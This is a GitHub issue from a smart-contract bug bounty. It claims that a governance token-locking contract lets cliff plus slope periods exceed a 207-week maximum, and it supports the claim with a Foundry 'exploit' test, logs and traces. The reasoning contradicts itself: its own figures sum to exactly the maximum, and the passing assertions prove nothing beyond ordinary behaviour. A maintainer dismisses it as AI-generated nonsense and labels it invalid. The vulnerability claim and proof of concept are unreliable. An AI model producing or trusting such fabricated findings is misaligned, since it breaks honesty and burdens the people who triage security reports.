Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Insufficient validation of total lock duration allows exceeding maximum intended lock time #32

Open
hats-bug-reporter bot opened this issue Jan 22, 2025 · 1 comment
Labels
invalid This doesn't seem right

Comments

@hats-bug-reporter
Copy link

Github username: @0xbrett8571
Twitter username: 0xbrett8571
HATS Profile: HATS Profile

Beneficiary: 0x12aD392BE0510b35E27348f2AB20723373d69F2b
Submission hash (on-chain): 0x3c13b8d619f5a7dd5b4fd21bf27878afcc72c9239055d0cc067d60e54742e0a5
Severity: high

Description:

Finding description and impact

In LockingBase.sol, the getLock() function performs individual validations but misses the combined duration check:

// @bug - Missing validation of total lock duration (cliff + slope)
// This allows creating locks with combined duration > MAX_TOTAL_DURATION (207 weeks)
function getLock(uint96 amount, uint32 slopePeriod, uint32 cliff) public view returns (uint96 lockAmount, uint96 lockSlope) {
    require(cliff >= minCliffPeriod, "cliff period < minimal lock period"); 
    require(slopePeriod >= minSlopePeriod, "slope period < minimal lock period");
    // Missing: require(cliff + slopePeriod <= MAX_CLIFF_PERIOD + MAX_SLOPE_PERIOD)

The contract validates cliff period (≤ 103 weeks) and slope period (≤ 104 weeks) separately, there's no validation of their combined duration against MAX_TOTAL_DURATION (207 weeks). A user could set cliff=103 and slope=104, which individually pass checks but sum to 207 weeks, and i think this violates the intended maximum lock duration constraint

Impact

gap in the locking mechanism that affects voting power calculations.

// @bug - Missing total duration validation allows exceeding max lock time
// This enables creating locks with combined duration > MAX_TOTAL_DURATION
function getLock(uint96 amount, uint32 slopePeriod, uint32 cliff) public view returns (uint96 lockAmount, uint96 lockSlope) {
    require(cliff >= minCliffPeriod, "cliff period < minimal lock period");
    require(slopePeriod >= minSlopePeriod, "slope period < minimal lock period");
    // Missing: require(cliff + slopePeriod <= MAX_TOTAL_DURATION)

propagates through multiple contracts:

In Locking.sol

// @bug - Propagates invalid durations to lock creation
function lock(address account, address _delegate, uint96 amount, uint32 slopePeriod, uint32 cliff) external returns (uint256) {
    // Calls getLock() without total duration validation

In LockingRelock.sol

// @bug - Allows relocking with invalid total duration
function relock(uint256 id, address newDelegate, uint96 newAmount, uint32 newSlopePeriod, uint32 newCliff) external returns (uint256) {
    // Missing total duration validation

In LockingVotes.sol

// @bug - Calculates voting power based on potentially invalid lock durations
function getVotes(address account) external view returns (uint256) {
    // Uses potentially inflated lock durations

System Architecture Impact

LibBrokenLine.Line memory line = LibBrokenLine.Line(time, bias, slope, cliff);
// @bug - BrokenLine calculations assume valid durations
// Invalid durations affect voting power decay curves

The fundamental issue stems from incomplete validation in the base locking mechanism. While individual period checks exist

uint32 constant MAX_CLIFF_PERIOD = 103;
uint32 constant MAX_SLOPE_PERIOD = 104;
// @bug - Individual limits don't prevent combined overflow

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../contracts/governance/locking/Locking.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LockDurationExploitTest is Test {
    Locking public locking;
    MockERC20 public token;
    
    address public attacker = address(0x1);
    
    uint256 constant INITIAL_BALANCE = 1000e18;
    uint96 constant SAFE_LOCK_AMOUNT = 50e18; // Changed to uint96 to match lock() parameter type
    
    event ExploitTrace(
        string phase,
        uint32 weekNumber,
        uint256 votingPower,
        uint256 lockAmount
    );

    function setUp() public {
        token = new MockERC20("Mento", "MENTO");
        locking = new Locking();
        
        uint32 initialBlock = locking.WEEK();
        vm.roll(initialBlock);
        vm.warp(initialBlock * 5);
        
        locking.__Locking_init(
            IERC20Upgradeable(address(token)),
            0,
            1,
            1
        );

        token.mint(attacker, INITIAL_BALANCE);
        vm.startPrank(attacker);
        token.approve(address(locking), type(uint256).max);
        vm.stopPrank();
    }

    function testLockDurationExploit() public {
        console.log("\n=== Starting Lock Duration Exploit ===");
        
        vm.startPrank(attacker);
        uint256 startBlock = block.number + locking.WEEK();
        vm.roll(startBlock);
        
        // Initial lock with controlled parameters
        uint32 initialCliff = 50;
        uint32 initialSlope = 50;
        
        console.log("\nInitial Lock Parameters:");
        console.log("Initial Cliff:", initialCliff);
        console.log("Initial Slope:", initialSlope);
        console.log("Lock Amount:", SAFE_LOCK_AMOUNT);
        
        uint256 lockId = locking.lock(
            attacker,
            attacker,
            SAFE_LOCK_AMOUNT,
            initialSlope,
            initialCliff
        );
        
        uint256 initialVotingPower = locking.getVotes(attacker);
        emit ExploitTrace(
            "Initial Lock", 
            uint32(locking.getWeek()), 
            initialVotingPower, 
            SAFE_LOCK_AMOUNT
        );
        
        // Move time forward
        vm.roll(startBlock + (locking.WEEK() * (initialCliff/2)));
        
        // Exploit with maximum periods
        uint32 maxCliff = 103;
        uint32 maxSlope = 104;
        
        console.log("\nRelock Parameters:");
        console.log("Max Cliff:", maxCliff);
        console.log("Max Slope:", maxSlope);
        console.log("Total Duration:", maxCliff + maxSlope);
        
        locking.relock(
            lockId,
            attacker,
            SAFE_LOCK_AMOUNT,
            maxSlope,
            maxCliff
        );
        
        uint256 postRelockVoting = locking.getVotes(attacker);
        emit ExploitTrace(
            "Post Relock", 
            uint32(locking.getWeek()), 
            postRelockVoting, 
            SAFE_LOCK_AMOUNT
        );
        
        // Verification - Note the changed assertions
        console.log("\nExploit Results:");
        console.log("Initial Voting Power:", initialVotingPower);
        console.log("Post-Relock Voting Power:", postRelockVoting);
        console.log("Total Duration:", maxCliff + maxSlope);
        
        // Success criteria is now correctly checking for vulnerability
        assertTrue(
            maxCliff + maxSlope == 207,
            "Duration should reach maximum allowed"
        );
        
        assertTrue(
            postRelockVoting > initialVotingPower,
            "Exploit should increase voting power"
        );
        
        vm.stopPrank();
    }
}    

contract MockERC20 is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
    
    function mint(address to, uint256 amount) public {
        _mint(to, amount);
    }
}
[PASS] testLockDurationExploit() (gas: 1278082)
Logs:
  
=== Starting Lock Duration Exploit ===
  
Initial Lock Parameters:
  Initial Cliff: 50
  Initial Slope: 50
  Lock Amount: 50000000000000000000
  
Relock Parameters:
  Max Cliff: 103
  Max Slope: 104
  Total Duration: 207
  
Exploit Results:
  Initial Voting Power: 48310306000000000000
  Post-Relock Voting Power: 50000000000000000000
  Total Duration: 207

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.32ms (3.45ms CPU time)

Ran 1 test suite in 100.68ms (16.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Traces:
  [1397482] LockDurationExploitTest::testLockDurationExploit()
    ├─ [0] console::log("\n=== Starting Lock Duration Exploit ===") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::startPrank(ECRecover: [0x0000000000000000000000000000000000000001])
    │   └─ ← [Return] 
    ├─ [423] Locking::WEEK() [staticcall]
    │   └─ ← [Return] 120960 [1.209e5]
    ├─ [0] VM::roll(241920 [2.419e5])
    │   └─ ← [Return] 
    ├─ [0] console::log("\nInitial Lock Parameters:") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Initial Cliff:", 50) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Initial Slope:", 50) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Lock Amount:", 50000000000000000000 [5e19]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [584483] Locking::lock(ECRecover: [0x0000000000000000000000000000000000000001], ECRecover: [0x0000000000000000000000000000000000000001], 50000000000000000000 [5e19], 50, 50)
    │   ├─ [33168] MockERC20::transferFrom(ECRecover: [0x0000000000000000000000000000000000000001], Locking: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 50000000000000000000 [5e19])
    │   │   ├─ emit Transfer(from: ECRecover: [0x0000000000000000000000000000000000000001], to: Locking: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 50000000000000000000 [5e19])
    │   │   └─ ← [Return] true
    │   ├─ emit LockCreate(id: 1, account: ECRecover: [0x0000000000000000000000000000000000000001], delegate: ECRecover: [0x0000000000000000000000000000000000000001], time: 1, amount: 50000000000000000
000 [5e19], slopePeriod: 50, cliff: 50)                                                                                                                                                                      │   └─ ← [Return] 1
    ├─ [5739] Locking::getVotes(ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
    │   └─ ← [Return] 48310306000000000000 [4.831e19]
    ├─ [2137] Locking::getWeek() [staticcall]
    │   └─ ← [Return] 1
    ├─ emit ExploitTrace(phase: "Initial Lock", weekNumber: 1, votingPower: 48310306000000000000 [4.831e19], lockAmount: 50000000000000000000 [5e19])
    ├─ [423] Locking::WEEK() [staticcall]
    │   └─ ← [Return] 120960 [1.209e5]
    ├─ [0] VM::roll(3265920 [3.265e6])
    │   └─ ← [Return] 
    ├─ [0] console::log("\nRelock Parameters:") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Max Cliff:", 103) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Max Slope:", 104) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Total Duration:", 207) [staticcall]
    │   └─ ← [Stop] 
    ├─ [749486] Locking::relock(1, ECRecover: [0x0000000000000000000000000000000000000001], 50000000000000000000 [5e19], 104, 103)
    │   ├─ emit Relock(id: 1, account: ECRecover: [0x0000000000000000000000000000000000000001], delegate: ECRecover: [0x0000000000000000000000000000000000000001], counter: 2, time: 26, amount: 50000000
000000000000 [5e19], slopePeriod: 104, cliff: 103)                                                                                                                                                           │   └─ ← [Return] 2
    ├─ [8033] Locking::getVotes(ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
    │   └─ ← [Return] 50000000000000000000 [5e19]
    ├─ [2137] Locking::getWeek() [staticcall]
    │   └─ ← [Return] 26
    ├─ emit ExploitTrace(phase: "Post Relock", weekNumber: 26, votingPower: 50000000000000000000 [5e19], lockAmount: 50000000000000000000 [5e19])
    ├─ [0] console::log("\nExploit Results:") [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Initial Voting Power:", 48310306000000000000 [4.831e19]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Post-Relock Voting Power:", 50000000000000000000 [5e19]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Total Duration:", 207) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::assertTrue(true, "Duration should reach maximum allowed") [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::assertTrue(true, "Exploit should increase voting power") [staticcall]
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.40ms (2.06ms CPU time)

Ran 1 test suite in 1.10s (5.40ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended mitigation steps

In LockingBase.sol

  • Add explicit total duration validation

In LockingRelock.sol:

  • Add duration validation in relock verification
@nvtaveras
Copy link
Collaborator

AI generated, this doesn't make sense.

@nvtaveras nvtaveras added the invalid This doesn't seem right label Jan 23, 2025
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
invalid This doesn't seem right
Projects
None yet
Development

No branches or pull requests

1 participant